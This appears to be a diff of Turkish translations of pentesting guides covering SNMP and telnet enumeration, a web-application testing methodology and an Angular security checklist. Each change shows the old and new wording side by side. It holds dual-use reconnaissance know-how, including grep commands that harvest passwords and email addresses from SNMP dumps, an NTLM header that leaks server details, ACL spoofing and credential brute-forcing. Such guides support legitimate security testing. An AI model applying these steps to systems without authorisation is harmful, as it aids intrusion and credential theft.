**Tam OID ağacına** erişimi sağlayan iki ana ayar, ağ yönetiminde kritik bir bileşendir:
1. **`rwuser noauth`**, kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
2. Daha spesifik kontrol için erişim şu şekilde verilebilir:
2. Daha spesifik kontrol için, erişim şu şekilde verilebilir:
- **`rwcommunity`** **IPv4** adresleri için, ve
- **`rwcommunity6`** **IPv6** adresleri için.
@ -172,7 +172,7 @@ snmp-rce.md
## **Kapsamlı SNMP**
[Braa](https://github.com/mteg/braa), toplu SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Bu tür bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
@ -182,29 +182,29 @@ braa ignite123@192.168.1.125:.1.3.6.*
```
Bu, manuel olarak işleyemeyeceğiniz çok miktarda bilgi çıkarabilir.
Şimdi en ilginç bilgileri arayalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
Şimdi en ilginç bilgilere bakalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
### **Cihazlar**
Süreç, cihazları tanımlamak için her dosyadan **sysDesc MIB verisi** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir:
Süreç, cihazları tanımlamak için her dosyadan **sysDesc MIB verisinin** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Özel Dizeyi Belirleme**
Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bu işlem için bir **grep komutu** kullanılır:
Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde, organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bu işlem için bir **grep komutu** kullanılır:
```bash
grep -i "trap" *.snmp
```
### **Kullanıcı Adları/Şifreler**
MIB tablolarında saklanan günlükler, **başarısız oturum açma girişimleri** için incelenir; bu, kullanıcı adı olarak girilen şifreleri yanlışlıkla içerebilir. Değerli verileri bulmak için _fail_, _failed_ veya _login_ gibi anahtar kelimeler aranır:
MIB tablolarında saklanan günlükler, **başarısız oturum açma girişimleri** için incelenir; bu, yanlışlıkla kullanıcı adı olarak girilen şifreleri de içerebilir. Değerli verileri bulmak için _fail_, _failed_ veya _login_ gibi anahtar kelimeler aranır:
```bash
grep -i "login\|fail" *.snmp
```
### **E-postalar**
Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarıyla eşleşen desenlere odaklanan bir **grep komutu** ile düzenli ifade kullanılır:
Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarıyla eşleşen desenlere odaklanan bir **grep komutu** ve düzenli ifade kullanılır:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
@ -212,9 +212,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
## Spoofing
## Sahte IP Kullanma
Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içine bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz.
Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içinde bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz.
## SNMP Konfigürasyon Dosyalarını İnceleme

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
`telnet-ntlm-info.nse` betiği NTLM bilgilerini (Windows sürümleri) alacaktır.
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu ayarlamak vb. içerebilir.
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini, yankı modunu değiştirmeyi vb. içerebilir.
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, eğer biliyorsanız lütfen bana bildirin.**

View File

@ -25,9 +25,9 @@ web-api-pentesting.md
## Metodoloji özeti
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece buna odaklanıyoruz. Bu nedenle, keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için bu metodolojiyi uygulamalısınız.
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece bunu yapacaksınız. Bu nedenle, bu metodolojiyi keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için uygulamalısınız.
- [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
- [ ] Web sunucusu tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
- [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
- [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
- [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
@ -35,11 +35,11 @@ web-api-pentesting.md
- [ ] **Başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
- [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın.
- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile yeni **dosyalar** ve **dizinler** arayın.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
- [ ] **Yedek kontrolü**: Keşfedilen **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
- [ ] Tüm olası **kullanıcı girişi** kabul eden **endpoint'leri** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
- [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
- [ ] **Brute-Force parametreleri**: **gizli parametreleri** bulmaya çalışın.
- [ ] Tüm olası **kullanıcı girişi** kabul eden **uç noktaları** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
## Sunucu Sürümü (Zafiyetli mi?)
@ -147,11 +147,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs
```
> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
## Adım Adım Web Uygulaması Keşfi
## Adım adım Web Uygulaması Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
### İlk Kontroller
### İlk kontroller
**İlginç bilgiler içeren varsayılan sayfalar:**
@ -162,28 +162,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- Ana ve ikincil sayfalardaki yorumları da kontrol edin.
**Hataları Zorlamak**
**Hataları zorlamak**
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
- **Sahte sayfalara** erişin, örneğin /whatever_fake.php (.aspx,.html,.vb)
- **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin
- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
- **Cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyerek hatalar oluşturun
- **URL**'nin **sonuna** **`/~randomthing/%s`** girerek hata oluşturun
- **PATCH, DEBUG** gibi **farklı HTTP Fiilleri** veya **FAKE** gibi yanlış olanları deneyin
#### **Dosya yükleyip yükleyemediğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
Eğer **WebDav** **etkinse** ancak kök klasörde **dosya yüklemek için yeterli izinleriniz yoksa**, şunları deneyin:
Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin:
- **Kaba Kuvvet** ile kimlik bilgilerini denemek
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
- **Kullanıcı adı ve şifreleri** zorlayın
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosyalar yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
### **SSL/TLS Açıkları**
### **SSL/TLS açıkları**
- Uygulama **HTTPS kullanıcısını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
- Uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açığa sahiptir.
- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'ye karşı **açık** demektir.
- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açık demektir.
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** kullanarak **açıkları** kontrol edin (Hata Ödül programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** kullanarak açıkları yeniden kontrol edin:
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** kullanarak açıkları yeniden kontrol edin:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -213,7 +213,7 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) URL'leri çıkaracak ve çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanacaktır.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır.
- [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
@ -224,8 +224,8 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, gizli bilgileri ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve enumerasyon için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve numaralandırma için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
@ -234,15 +234,15 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Araçlar:
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere kıyasla çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yoktur**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara izin verir ve özyinelemeli arama yapar. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli arama yapar.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli arama destekler.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "kopyalanmış" URL'leri siler.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden bir dizin listesi oluşturmak için Burp Uzantısı.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): "Tekrarlanan" işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): "Kopyalanmış" işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
**Tavsiye edilen sözlükler:**
@ -276,10 +276,10 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda verileri göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **bilgileri gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve web sayfasının **altında** bir yorumda **bilgileri gizlemektir**.
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyeceğiniz kadar **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
- **S3 Buckets**: Spidering sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin**](buckets/index.html).
- **S3 Buckets**: Spidering sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/index.html).
### Özel bulgular
@ -290,14 +290,14 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
- **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın.
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md).
- Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler".
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzer" görünecektir.
- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız.
- **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Birçok durumda, kullanılan **düzenli ifadeleri** anlamanız gerekecek. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecektir. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex).
- Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
@ -314,15 +314,15 @@ Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü ya
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
**Header'ı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak otomatikleştirebilirsiniz.
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirme (CTF)**
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama burada **gizli** bir şey olabilir.
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
### Web Zafiyetlerini Kontrol Etme
Artık web uygulamasının kapsamlı bir envanteri alındığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
Artık web uygulamasının kapsamlı bir numaralandırması yapıldığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@ -336,9 +336,9 @@ Web zafiyetleri hakkında daha fazla bilgi için:
### Sayfaları değişiklikler için izleme
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
### HackTricks Otomatik Komutları
### HackTricks Otomatik Komutlar
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -2,9 +2,9 @@
## Kontrol Listesi
Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist).
Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist) alınmıştır.
* [ ] Angular, istemci tarafı bir çerçeve olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez
* [ ] Angular, istemci tarafı bir framework olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez
* [ ] Proje yapılandırmasında scriptler için sourcemap devre dışı bırakılmıştır
* [ ] Güvenilmeyen kullanıcı girişi, şablonlarda kullanılmadan önce her zaman interpolasyon veya sanitizasyon işlemine tabi tutulur
* [ ] Kullanıcının sunucu tarafı veya istemci tarafı şablonları üzerinde kontrolü yoktur
@ -14,13 +14,13 @@ Kontrol Listesi [buradan](https://lsgeurope.com/post/angular-security-checklist)
## Angular Nedir
Angular, **Google** tarafından sürdürülen **güçlü** ve **açık kaynak** bir ön uç çerçevesidir. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur **her iki açıdan**.
Angular, **güçlü** ve **açık kaynak** bir ön uç framework'tür ve **Google** tarafından sürdürülmektedir. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmaları ile Angular, **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca **sunucu tarafında** da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur.
## Çerçeve Mimarisi
## Framework mimarisi
Angular'ın temel kavramlarını daha iyi anlamak için, onun temel kavramlarına göz atalım.
Tipik bir Angular projesi genellikle şöyle görünür:
Ortak bir Angular projesi genellikle şöyle görünür:
```bash
my-workspace/
├── ... #workspace-wide configuration files
@ -49,7 +49,7 @@ Belirli bir görünümle ilişkilendirilmemiş ve bileşenler arasında paylaşm
## Sourcemap yapılandırması
Angular çerçevesi, `tsconfig.json` seçeneklerini takip ederek TypeScript dosyalarını JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkinleştirilmiş bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:
Angular çerçevesi, TypeScript dosyalarını `tsconfig.json` seçeneklerini takip ederek JavaScript koduna çevirir ve ardından `angular.json` yapılandırması ile bir proje oluşturur. `angular.json` dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkin bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:
```json
"sourceMap": {
"scripts": true,
@ -58,7 +58,7 @@ Angular çerçevesi, `tsconfig.json` seçeneklerini takip ederek TypeScript dosy
"hidden": false
}
```
